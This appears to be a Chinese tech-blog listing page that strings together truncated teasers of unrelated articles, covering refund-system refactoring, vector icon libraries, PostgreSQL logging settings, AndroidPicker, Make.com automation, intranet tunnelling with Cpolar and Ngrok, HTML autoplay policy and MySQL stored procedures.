一、重构背景 1.1、退款 到家、小时购、天选退款有2套结构&#xff0c;代码逻辑混乱&#xff1b; 其中小时购、天选部分售后单是和平生pop交互退款&#xff0c;部分是和售后中台交互退款&#xff1b;并且兼容3套逻辑&#xff1b; 痛点&#xff1a;代码繁重&#xff0c;缺乏…

素材收藏必备!免费获取这5个矢量图标库,设计更得心应手!

可以自由拉伸的矢量图标&#xff0c;在平面设计流程中的重要性&#xff0c;有过设计经验的用户一定不会陌生。 下面&#xff0c;我们给大家准备了5个免费使用的矢量logo图标库&#xff0c;建议大家一键收藏。 1&#xff1a;即时设计 即时设计的资源社区内有海量免费的矢量图…

PostgreSQL 数据库日志相关参数

PostgreSQL数据库的配置主要是通过修改数据目录下的 postgresql.conf和pg_hba.conf文件来实现的。 如果想从其他机器上登录该数据 库&#xff0c;需要把监听地址改成实际网络的地址&#xff0c;一种简单的方法是把地址 改成“*”&#xff0c;表示在本地的所有地址上监听&#…

新手学计算机编程入门,自学编程入门从哪里入手开始学习

新手学计算机编程入门&#xff0c;自学编程入门从哪里入手开始学习 给大家分享一款中文编程工具&#xff0c;零基础轻松学编程&#xff0c;不需英语基础&#xff0c;编程工具可下载。 这款工具不但可以连接部分硬件&#xff0c;而且可以开发大型的软件&#xff0c;向如图这个…

AndroidPicker的使用

项目地址&#xff1a;https://github.com/gzu-liyujiang/AndroidPicker 历史版本:https://github.com/gzu-liyujiang/AndroidPicker/blob/master/ChangeLog.md 依赖配置 // JitPack 远程仓库&#xff1a;https://jitpack.iomaven { url https://jitpack.io } 所有选择器的基…

Make.com实现多个APP应用的自动化的入门指南

Make.com是一款基于云的自动化平台&#xff0c;可帮助用户将多个应用程序连接在一起&#xff0c;并通过设置自动化流程来简化日常任务。Make.com提供丰富的API集成&#xff0c;支持连接各种流行的应用程序&#xff0c;包括社交媒体、电子商务、CRM等。 使用Make.com实现多个AP…

社区智能奶柜,未来市场新机遇

我们无法左右大局&#xff0c;但可以通过对时代趋势的深入理解&#xff0c;精准把握机遇&#xff0c;乘势而上&#xff01;未来优秀的商业项目&#xff0c;将遵循以下几个标准&#xff1a;产品具有高频需求、刚性需求、高毛利空间和低人力成本。社区智能奶柜之所以能在当前市场…

内网穿透配置-Cpolar-Ngrok

文章目录 一、Cpolar1、cpolar软件的使用&#xff1a;&#xff08;1&#xff09;下载与安装&#xff08;2&#xff09;cpolar指定authtoken&#xff08;3&#xff09;获取临时域名&#xff08;4&#xff09;验证临时域名有效性 二、Ngrok1、配置内网穿透&#xff08;1&#xff…

【HTML】播放器如何自动播放【已解决】

自动播放器策略 先了解浏览器的自动播放器策略 始终允许静音自动播放在以下情况&#xff0c;带声音的自动播放才会被允许 2.1 用户已经与当前域进行交互 2.2 在桌面上&#xff0c;用户的媒体参与指数阈值(MEI)已被越过&#xff0c;这意味着用户以前播放带有声音的视频。 2.3 …

MySQL使用存储过程迁移用户表数据,过滤用户名相同名称不同的用户

存储过程简介 存储过程&#xff08;Stored Procedure&#xff09;是一组为了完成特定功能的SQL语句集&#xff0c;经编译后存储在数据库中&#xff0c;用户通过指定存储过程的名字并给定参数&#xff08;如果该存储过程带有参数&#xff09;来调用执行它。它是一段预编译的SQL…